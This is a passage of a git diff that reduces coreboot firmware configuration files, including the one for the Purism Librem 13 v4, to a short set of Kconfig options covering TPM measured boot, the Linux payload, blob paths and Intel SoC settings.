-CONFIG_GFX_GMA_GENERATION="Skylake" -CONFIG_GFX_GMA_PCH="Sunrise_Point" -CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" -CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set -# CONFIG_DRIVERS_PS2_KEYBOARD is not set -CONFIG_DRIVERS_MC146818=y -CONFIG_USE_PC_CMOS_ALTCENTURY=y -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_NO_TPM is not set -CONFIG_TPM1=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM1=y -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM1=y -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_INTEL_TXT is not set -# CONFIG_STM is not set -# CONFIG_INTEL_CBNT_SUPPORT is not set -CONFIG_BOOTMEDIA_LOCK_NONE=y -# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_CUSTOM_MADT=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_ACPI_LPIT=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_ACPI_S1_NOT_SUPPORTED=y -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_IOAPIC=y -CONFIG_ACPI_NHLT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# -# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set -# CONFIG_DISPLAY_FSP_HEADER is not set -# CONFIG_VERIFY_HOBS is not set -# CONFIG_DISPLAY_FSP_VERSION_INFO is not set -CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y -# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set - -# -# General Debug Settings -# -# CONFIG_FATAL_ASSERTS is not set -CONFIG_HAVE_DEBUG_GPIO=y -# CONFIG_DEBUG_GPIO is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_RAMSTAGE_ADA=y -CONFIG_RAMSTAGE_LIBHWBASE=y -CONFIG_SPD_READ_BY_WORD=y -CONFIG_HWBASE_DYNAMIC_MMIO=y -CONFIG_HWBASE_DEFAULT_MMCONF=0xe0000000 -CONFIG_HWBASE_DIRECT_PCIDEV=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_GENERIC_GPIO_LIB=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-librem_13v4.config b/config/coreboot-librem_13v4.config index e7b5d607b..bc0d499c8 100644 --- a/config/coreboot-librem_13v4.config +++ b/config/coreboot-librem_13v4.config @@ -1,797 +1,21 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -CONFIG_OPTION_BACKEND_NONE=y -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set -CONFIG_USE_BLOBS=y -# CONFIG_USE_AMD_BLOBS is not set -# CONFIG_USE_QC_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set -# CONFIG_VENDOR_LENOVO is not set -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set CONFIG_VENDOR_PURISM=y -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_MAINBOARD_FAMILY="Librem 13" -CONFIG_MAINBOARD_PART_NUMBER="Librem 13 v4" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="purism/librem_skl" -CONFIG_VGA_BIOS_ID="8086,5916" -CONFIG_DIMM_MAX=1 -CONFIG_DIMM_SPD_SIZE=512 -CONFIG_FMDFILE="" -CONFIG_NO_POST=y -CONFIG_MAINBOARD_VENDOR="Purism" -CONFIG_CBFS_SIZE=0xe00000 CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=2160 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=3840 -CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_DUAL=y -CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_QUAD=y -CONFIG_MAX_CPUS=8 -# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_VARIANT_DIR="librem13" -CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Purism" -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/data.vbt" -CONFIG_DISABLE_HECI1_AT_PRE_BOOT=y -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_TPM_PIRQ=0x0 -CONFIG_USE_PM_ACPI_TIMER=y -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xe0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0xfef00000 -CONFIG_DCACHE_RAM_SIZE=0x40000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_kbl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_kbl/me.bin" -CONFIG_MAINBOARD_SUPPORTS_SKYLAKE_CPU=y -CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y -# CONFIG_USE_LEGACY_8254_TIMER is not set -# CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem 13 v4" -# CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_ENABLE is not set CONFIG_HAVE_IFD_BIN=y -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="PNP0F13" -CONFIG_GFX_GMA_PANEL_1_PORT="eDP" -# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set -CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_L1_SUB_STATE=y -CONFIG_PCIEXP_CLK_PM=y -CONFIG_GFX_GMA_PANEL_1_ON_EDP=y -# CONFIG_BOARD_PURISM_LIBREM13_V1 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM_MINI is not set -# CONFIG_BOARD_PURISM_LIBREM_MINI_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM_14 is not set -# CONFIG_BOARD_PURISM_LIBREM_11 is not set -# CONFIG_BOARD_PURISM_LIBREM_L1UM_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM13_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V3 is not set CONFIG_BOARD_PURISM_LIBREM13_V4=y -# CONFIG_BOARD_PURISM_LIBREM15_V4 is not set -# CONFIG_DRIVERS_UART_8250IO is not set -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_SKL=y -CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set -CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=16384 -CONFIG_ROM_SIZE=0x01000000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set -CONFIG_POWER_STATE_ON_AFTER_FAILURE=y -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 -# end of Mainboard - -CONFIG_SYSTEM_TYPE_LAPTOP=y - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="soc/intel/skylake/chipset.cb" -CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" -CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x200000 -CONFIG_SMM_MODULE_STACK_SIZE=0x800 -CONFIG_ACPI_BERT_SIZE=0x0 -CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IFD_CHIPSET="sklkbl" -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_MAX_ROOT_PORTS=24 -CONFIG_PCR_BASE_ADDRESS=0xfd000000 -CONFIG_CPU_BCLK_MHZ=100 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 -CONFIG_CPU_XTAL_HZ=24000000 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=2 -CONFIG_SOC_INTEL_I2C_DEV_MAX=6 -# CONFIG_ENABLE_SATA_TEST_MODE is not set -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 -CONFIG_FSP_HEADER_PATH="3rdparty/fsp/KabylakeFspBinPkg/Include/" -CONFIG_FSP_FD_PATH="3rdparty/fsp/KabylakeFspBinPkg/Fsp.fd" -CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8254 -CONFIG_INTEL_GMA_BCLV_WIDTH=16 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 -CONFIG_INTEL_GMA_BCLM_WIDTH=16 -CONFIG_MAX_HECI_DEVICES=5 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_HAVE_PAM0_REGISTER=y -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 -CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 -CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 -CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 -CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y -CONFIG_SOC_INTEL_KABYLAKE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y -CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 -CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_SOC_INTEL_COMMON=y - -# -# Intel SoC Common Code for IP blocks -# -CONFIG_SOC_INTEL_COMMON_BLOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y -CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y -# CONFIG_USE_COREBOOT_MP_INIT is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y -CONFIG_INTEL_CAR_NEM_ENHANCED=y -# CONFIG_USE_INTEL_FSP_MP_INIT is not set -CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y -CONFIG_HAVE_HYPERTHREADING=y -CONFIG_FSP_HYPERTHREADING=y -# CONFIG_INTEL_KEYLOCKER is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_MAX is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_256MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_128MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_64MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_32MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_16MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_8MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_4MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_2MB is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_0MB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PCR=y -CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" -CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" -CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" -CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" -CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" -CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" -CONFIG_SOC_INTEL_CSE_RW_FILE="" -CONFIG_SOC_INTEL_CSE_RW_VERSION="" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" -CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y -CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_PADCFG_PADTOL=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y -CONFIG_SOC_INTEL_CONFIGURE_DDI_A_4_LANES=y -# CONFIG_SOC_INTEL_DISABLE_IGD is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC_DISCOVERABLE=y -CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SCS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SGX=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_LOCK_MEMORY=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y -# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 -CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_SA_ENABLE_DPR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y -CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y - -# -# Intel SoC Common PCH Code -# -CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y -CONFIG_SOC_INTEL_COMMON_PCH_BASE=y -CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y -CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y -CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y -CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y - -# -# Intel SoC Common coreboot stages and non-IP blocks -# -CONFIG_SOC_INTEL_COMMON_BASECODE=y -CONFIG_SOC_INTEL_COMMON_RESET=y -CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y -CONFIG_PAVP=y -# CONFIG_MMA is not set -CONFIG_SOC_INTEL_COMMON_NHLT=y -# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set - -# -# CPU -# -CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_PARALLEL_MP=y -CONFIG_PARALLEL_MP_AP_WORK=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y 